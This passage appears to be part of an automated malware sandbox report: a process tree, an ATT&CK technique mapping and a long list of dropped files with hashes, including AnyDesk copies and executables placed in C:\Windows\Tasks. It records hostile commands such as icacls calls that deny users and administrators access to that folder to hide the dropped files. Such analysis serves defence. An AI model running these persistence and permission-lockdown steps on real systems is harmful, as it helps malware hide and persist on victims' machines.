icacls C:\Windows\Tasks /deny "Users:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1876

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
3⤵
PID:5064

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "Administrators:(R,REA,RA,RD))"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5664

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c icacls C:\Windows\Tasks /deny "%username%:(R,REA,RA,RD)"
3⤵
PID:1572

C:\Windows\system32\icacls.exe
icacls C:\Windows\Tasks /deny "IYMUGYHL$:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1508

C:\Windows\Tasks\Superfetch.exe
C:\Windows\Tasks\Superfetch.exe
3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:5012

C:\Windows\Tasks\MSTask.exe
C:\Windows\Tasks\MSTask.exe
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5612

C:\Windows\TEMP\~Mp46F7.tmp\~Ma4650.exe
"C:\Windows\TEMP\~Mp46F7.tmp\~Ma4650.exe" /p"C:\Windows\Tasks\MSTask.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5720

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 528 -p 5484 -ip 5484
1⤵
PID:3112

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5344

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Winlogon Helper DLL

T1004

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Process Discovery

T1057

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Windows Mail\RuntimeBroker.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\Program Files\Windows Mail\RuntimeBroker.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\ProgramData\1.exe
Filesize
775KB

MD5
0442a8479aa5f19dd5a64ddfd677b9f8

SHA1
fa003104e8e8e6646049a49bd517224ba34ac4b6

SHA256
5161a16217b9d8b9817ad1f6e1020e2eb625bbd6ccf82fbf9423077d0c966aa0

SHA512
51ddbff08b54bbafd365e71432697bea5a3eb49bd87dafd477a059f59e1f2f2eaa8e465abda8499745a9a81c6e10a5c44a9a255d51d79d5e8a7b7c25709abe42

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\AnyDesk.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
2KB

MD5
6e61581eecf8dea89f43a73a9b87a330

SHA1
845b02e9174c3f97209354748688f11f3869d2c9

SHA256
1785d98e7e970fff4e5cff941f2458f037fc8a208bbe35d4832b6fb499daa71d

SHA512
8682a22f658923466d121ece735c38b720644e1c388517fcc09c27852a63bca80ea834e23e6b0132aab95f16574be8f23f9a8bf4e923ba070cee7d494451d99f

Download Submit
C:\ProgramData\AnyDesk\service.conf
Filesize
3KB

MD5
2ab3e2349fc101d1ad538d964b62828b

SHA1
6136fcdadfce7e51967ca5c2f827994e475239b2

SHA256
d0f545fd5af5acc7bbdada0e0e521fb38e8eb81916a00b29f4b35cee713f8b8f

SHA512
112fb4df5c329f56e96d0aa2bb228d56532edab4c64f8dd5ca46aa96b74ce6586cce437b27e480a4340476ff8efffed417b6aa575edf129020834933833d5d3a

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
370B

MD5
afdc4f69f4720b8c4153f6186f49a2b6

SHA1
329c27ea36d7913809b0c239bb58e91d2ee468ac

SHA256
9a218849d74b0ca75ef719b0cab59b40529b958097eb0b0b8527b09bc293a571

SHA512
3a8a6e1994a681a12875b820eb7ca78b6c035a1489c4d8648590424dbec3152e6831ac0c4a73560968231c9b45db869dad189109fb1ecb4a3159258e0099a7de

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
837B

MD5
7810eb17f6050e94aad5fd1790a6a928

SHA1
5eec47257a6a12a6e05e432fc51676192ba59084

SHA256
37d69c7079c48ed90bbdfcc6a4cfe11f21aa95adcacadf66838ffd6558434da2

SHA512
de41cfa107a6b6ebb48c39f2ffd64193e230fcb278678b0cb4bf04ba927d4085b3abd28d12dfccb7776420e95c7c0439ecf9b21edabeeb58d268fe265a620639

Download Submit
C:\ProgramData\AnyDesk\system.conf
Filesize
1KB

MD5
22b75a52e904bdb75204cc5c269704ea

SHA1
934213cc8872285ce4b7dc95b2457b39a2f47b05

SHA256
8c1a3f1ee093792151aa28a191de1faa5da7fa18d6eb0f8c0fb331a1076af723

SHA512
bd8cbb2942993e946aa690a20f4eab6f1cde9a96c4bf1134c5be974407d51433bbbab5732f07e04a6375ccce71c50ab5a92707d38c1560f3838167d9061f1e59

Download Submit
C:\ProgramData\any.exe
Filesize
6.1MB

MD5
83834462455be62ccf135f3137263119

SHA1
f23d183db2adf37e80469191c7d452e8d39935b6

SHA256
565c7756135d7858e8963928fff8d1fdb99a452d8568319aeda4a073f51d0a23

SHA512
7aa6374b4bafae925a1da59212fdb7f262f98848c058173777c0f30c61243b982cfc3d13ce106e9eb59cfb9957c81a5b496e82a5522e9209f0c30f53f864c411

Download Submit
C:\ProgramData\curl.exe
Filesize
5.2MB

MD5
104023cef829fce3e34bf1514daff629

SHA1
b6e7b949109298ec7ff1aa64404a859b5b41ccae

SHA256
15b1158d806de14013fdc3f0e81dca725481d2393249994a122c0a70721ae9f5

SHA512
efebee49ffebf0dcb07c6e7d24477101a7c8a2a03b0bea4df9c1054943823026ffd46f54cc51fb8de062e3641f021d5cf0b23ed67d46a549ee23e5fa7b12be1e

Download Submit
C:\ProgramData\dc.exe
Filesize
1.3MB

MD5
dae7ec3880731dcd27311b4e1dab5e49

SHA1
52d88c8917cbbe4c40bf2e3a67ef8eaad2b52ffc

SHA256
59a058a95f24d57c98b1801a1bc1e1545db8be230a628e2f7dcc34c0452f2d19

SHA512
8064f3819c815db7cafe243de781bd7755f208ea932f383687421ecd56d610c1929426f6ca55b592e51147386f2ece42bc9b2ebb5a208381a510f9dd88d6e5da

Download Submit
C:\ProgramData\migrate.exe
Filesize
6.6MB

MD5
4d877cab8a19afea517ba4436805ce77

SHA1
7210160bd527a3b726ad0686613bff358823de41

SHA256
e2eee92ef0ffc25134049dd0301d464bf8e7b814ba04b25749dea8c0b7cbc29d

SHA512
af9ce52af8d3a6987eb50fd17cbae170195872e8ca2d65db5198842f185d4cba2b70e9d2d0e9cdeb1cb80bd1adaf1674eec84797d65a8c2e236b18261fe018bc

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\ProgramData\wsappz.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
dd9387fad9deacce7176686aecd89fc2

SHA1
a91869ac70a4b00cceb527834ebd812cba5a66ff

SHA256
43d31b1cc0c249ec8c911b5451dccbecc32e143360690b9fe2faa770decaa29b

SHA512
ce60ed8032fc8dc5452cf2b0b04c2fb1e0ef034dddca66372a7c8789357858ea596c4a1b3ba94597a550edfff55c73594bd75d7cf0562dc4137bb0ea5384510d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
899a6c41b91a77f3d1e7fd5e03830794

SHA1
eeaa464ae836e92049bae6644569b39e51bab13b

SHA256
f1068e020ca2de9e5a6107c58593d48cdf7e6e7aaeac4032a996b0dcaaf404a0

SHA512
085ce1ed09cca25af7c0833dd8865d0abcf30607bb4ab98f88a56b541cb1938264a9e801a36fa06107405582529f0b41a4be250cd88acc21de8cab704b9ceb85

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
761db6af99dd6c9f14d915f24fb74c82

SHA1
5e84e146b154b9ff6d099b808bbe11e73fc8c3fe

SHA256
bdf59790c507e26925699ebdb2f220abb11e0a30d79a83f09d2ea65418ac1d97

SHA512
ec4673f64f909261015cdb93ab52930a5d005af962f5cace96df0487307b1b5b74dc4a6ee11eee4b6de06305d82c178336ce071f78167c7731e8e2098dc23382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
11KB

MD5
3c937e8cc752b64264b8c90ba3f22da0

SHA1
48194ff40061c41eac4894e1d1a0edf09cafa2f4

SHA256
1878433ba808624497464f82f7dcd3f8cbcbbda4a17133dba108d2691253abe0

SHA512
cbdfe5e92e253a13968a2f0b6fdd3d2aa43b6e4cc1639c9ae49028efc8d6c08763310bc6e56c665ae31d7deff0623b06d1fd590169a0dcf292d6d908151ee8c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\7peWjKJuHe.bat
Filesize
212B

MD5
3b36affa9eccf95321997c3d7fa560d6

SHA1
532f6660b3d21b072ec01225247a052d55c25590

SHA256
c9bd8ebebe135c0e95ed237947bb33c35837b31c8333017cc31154dc5dc49b89

SHA512
11fced87605eadf29693959aebc9702aeca5014d5c09d916c395c296e3d4e6062fe4c1ebc491a5c7ba47f223a01176f418ef41d61e0599e2c41843fb2e4ea99b

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
5KB

MD5
a5fd03ebb6097b1056d90baa74f4009d

SHA1
2e40be8571beb26266b61151fd916cdced6ee791

SHA256
07a177ae85a4661ac4d41ec1b1cf8b3eec5c4e8c8f5f20871f9bc5e462a97990

SHA512
0face3ef781fb750e791470e763dc55927f9955ce851abc11672befdf691044a83b79389ac5d755527409ed38c4d044aee5a9c8847d00e5d03e89da41ecd1f71

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\ad.trace
Filesize
9KB

MD5
76d51754ca5d49602fd86ef73adb758b

SHA1
30a7490931a3cc2fc6ccf73b4837f3c70602b9eb

SHA256
2d1870d9a2fa051080f814096bd2ddcd341024a9ebdd3ab3e4cdb4ead379cab1

SHA512
3511466b498828be97e83e7eb8c503d4f8d545e9c93eeadff35b03020ead54a7b23ed478a0a9d15a00557bd6034bae5041096377ca03dfa12f4a943c86f8d6b3

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Filesize
5KB

MD5
f519b7221174b4edfc36e8fb44e3c058

SHA1
a95c7f81f24e13b2d1a68530dd57eaa3a1c545c6

SHA256
fc063af88815e525dcb0ef1e91acc263fd4c851b89a1dedc75b282e166a78ad6

SHA512
d98df8932eeb35dfe5c4791cf919749469f853b5d73d7bee65f07e940352793c554798074f378c6375852b3cf1c7412bef33291e2ccac597d31788fbe02820b8

Download Submit
C:\Users\Admin\AppData\Roaming\AnyDesk\user.conf
Filesize
5KB

MD5
4dd2e56aac35dfd7ced739a1d4cabad2

SHA1
979ee73ac2704c7b1fcde18fc446ecbde74a84b6

SHA256
f5617d9cf657d34dab50cbeb30ee160e1e8757555fd30b2e6035ec4d8c31e55b

SHA512
306b4bd0491cbc2ceec8adf3541c569e2bd80b6cc7b051b0d346cb69ce5c89119bcde5822e06f53ebbba0f5fe47b85a87b7471efc986f4a3904b28d56deb0371

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
6KB

MD5
6ded28fe8c0f1fc926c680c8de0d2fc3

SHA1
5429fea17e8e9014cb6a6f478071eb18753aaf28

SHA256
2bad92d08c31641ccc02e9ca2f8bd86d0dcc2b864b28fcc1f30f55a563216592

SHA512
3b427808f2b91bac18a01dbeae2f6fc9ab7a771e818d2bde70ae386161bdb096e4bcd0ae8c45e78b3deaf513a2904a21766f5a10190b8b2415a369f51e8677b2

Download Submit
C:\Windows\Tasks\IntelConfigService.exe
Filesize
1.8MB

MD5
58e4115267b276452edc1f541e3a8198

SHA1
ec40b6cce5c9a835563c17da81997e8010ac9cad

SHA256
713120bac7807f6fc0a6050135556c0614a66be2fb476cfe163877f3d03b4d08

SHA512
3def4b7f7fbeab01826eb733174bca64860f8bfbad3baec361b65b07b4558e28830fcc2deb264622199f9474277f04e562830bc5f0bf8a0e7932d002f1a812c5

Download Submit
C:\Windows\Tasks\Wmiic.exe
Filesize
365KB

MD5
a18bfe142f059fdb5c041a310339d4fd

SHA1
8ab2b0ddc897603344de8f1d4cc01af118a0c543

SHA256
644c9745d1d2f679db73fcb717dd37e180e19d5b0fc74575e4cefe4f543f2768

SHA512
c30d46781b17c4bb0610d3af4b5acc223394d02f9fbb1fbb55811ae2efe49fd29a7e9626737c4b24194c73c58fe1b577a858559a7e58d93c3660ac680f19eaf8

Download Submit
C:\Windows\Tasks\Wmiic.exe
Filesize
365KB

MD5
a18bfe142f059fdb5c041a310339d4fd

SHA1
8ab2b0ddc897603344de8f1d4cc01af118a0c543

SHA256
644c9745d1d2f679db73fcb717dd37e180e19d5b0fc74575e4cefe4f543f2768

SHA512
c30d46781b17c4bb0610d3af4b5acc223394d02f9fbb1fbb55811ae2efe49fd29a7e9626737c4b24194c73c58fe1b577a858559a7e58d93c3660ac680f19eaf8

Download Submit
C:\Windows\Tasks\Wmiic.exe
Filesize
365KB

MD5
a18bfe142f059fdb5c041a310339d4fd

SHA1
8ab2b0ddc897603344de8f1d4cc01af118a0c543

SHA256
644c9745d1d2f679db73fcb717dd37e180e19d5b0fc74575e4cefe4f543f2768

SHA512
c30d46781b17c4bb0610d3af4b5acc223394d02f9fbb1fbb55811ae2efe49fd29a7e9626737c4b24194c73c58fe1b577a858559a7e58d93c3660ac680f19eaf8

Download Submit
C:\programdata\1.exe
Filesize
775KB

MD5
0442a8479aa5f19dd5a64ddfd677b9f8

SHA1
fa003104e8e8e6646049a49bd517224ba34ac4b6

SHA256
5161a16217b9d8b9817ad1f6e1020e2eb625bbd6ccf82fbf9423077d0c966aa0

SHA512
51ddbff08b54bbafd365e71432697bea5a3eb49bd87dafd477a059f59e1f2f2eaa8e465abda8499745a9a81c6e10a5c44a9a255d51d79d5e8a7b7c25709abe42

Download Submit
C:\programdata\any.bat
Filesize
2KB

MD5
7189281b9182a9a412a92af69b77c836

SHA1
d98322de39d62e8d5e6f8fb7fe2ce30f578a4853

SHA256
baae6af47a9b83c57269d62cf17e4d68927adee93e5567ce2bb5ae33cbe845eb

SHA512
211be9213611bdbd44b2dac2462d0688c02f352c6c55cc6602d84b0a8ceff9a96ca79f6989ce825c8ecedf65fb13e6583fb92fb56c551bf61948320f12cbb6be

Download Submit
C:\programdata\any.exe
Filesize
6.1MB

MD5
83834462455be62ccf135f3137263119

SHA1
f23d183db2adf37e80469191c7d452e8d39935b6

SHA256
565c7756135d7858e8963928fff8d1fdb99a452d8568319aeda4a073f51d0a23

SHA512
7aa6374b4bafae925a1da59212fdb7f262f98848c058173777c0f30c61243b982cfc3d13ce106e9eb59cfb9957c81a5b496e82a5522e9209f0c30f53f864c411

Download Submit
C:\programdata\dc.exe
Filesize
1.3MB

MD5
dae7ec3880731dcd27311b4e1dab5e49

SHA1
52d88c8917cbbe4c40bf2e3a67ef8eaad2b52ffc

SHA256
59a058a95f24d57c98b1801a1bc1e1545db8be230a628e2f7dcc34c0452f2d19

SHA512
8064f3819c815db7cafe243de781bd7755f208ea932f383687421ecd56d610c1929426f6ca55b592e51147386f2ece42bc9b2ebb5a208381a510f9dd88d6e5da

Download Submit
C:\programdata\ru.bat
Filesize
32B

MD5
11e08b5abf3f1675f99c96f78c128b23

SHA1
40d6dd08262ef959328aec4dc5ed07532232037c

SHA256
50ac09332ff9d6521244b4f9cf6fd9cc489b3324ed1316e07f6a5904230397e7

SHA512
3005767016b4c5da031fb2ac5288b01821d54768b5e099e1157d4fa4621a078d589e54d9c5c89ded58ac3ca94395dacbf1d840f9210f909d3c9dfe8092de8ff9

Download Submit
C:\runtimeMonitor\ComdriverSvc.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\runtimeMonitor\ComdriverSvc.exe
Filesize
1.0MB

MD5
18557c37efdef82648622fa471a2db2f

SHA1
e72f774a0bd16c3d7074a826f7f1711845738972

SHA256
04142a2c4e3157a371266a5705959946268fc74b942597062e4dc3ce5f570c27

SHA512
fa0a4e1f74806ff77ad71315d2fc4e008b74c0aac3fc8cbb7e6fe44278e0edde62f99c4d9c3aaff41bc134fc083fe73b638035382c279169f378b66a9bf09d9b

Download Submit
C:\runtimeMonitor\PsYm20I.bat
Filesize
36B

MD5
13e52857c334ca3b14c44cffece40607

SHA1
eaa9d704385cec30f7841ef6d3c051b225007dbe

SHA256
4e457ab29e89a42a805b427decc8e571e15d857061c939ee7aa8d0bcaff25a6c

SHA512
4b0c23faad00995254ae02b5ce55de33344f66120f1e8640d80059d7cf77f3b149c46ae24bdd459881ef332331cc59e6fc50e55c1fa1a585f63dbf5badb93337

Download Submit
C:\runtimeMonitor\eW0NlR3z8rHah1r0tet2KhNAo.vbe
Filesize
198B

MD5
f3fbd4e6a0097ff2d729be2b6e494e80

SHA1
abed54083af60944e4628718061fa6b9ce402594

SHA256
b7d74a96173fd177dceead637138814738b68799b018437dbd4ba20213977e56

SHA512
f9a7f899cdc423a3214072de0a2858f212e15d9055b22cbb8536d20cea3fe199e3f44f3183c6d3e41e85a04b2b47e0497ead13eeb49e67f91e44cb19fe4a0f57

Download Submit
C:\windows\tasks\IntelConfigService.exe
Filesize
1.8MB

MD5
58e4115267b276452edc1f541e3a8198

SHA1
ec40b6cce5c9a835563c17da81997e8010ac9cad

SHA256
713120bac7807f6fc0a6050135556c0614a66be2fb476cfe163877f3d03b4d08

SHA512
3def4b7f7fbeab01826eb733174bca64860f8bfbad3baec361b65b07b4558e28830fcc2deb264622199f9474277f04e562830bc5f0bf8a0e7932d002f1a812c5

Download Submit
C:\windows\tasks\Wmiic.exe
Filesize
365KB

MD5
a18bfe142f059fdb5c041a310339d4fd

SHA1
8ab2b0ddc897603344de8f1d4cc01af118a0c543

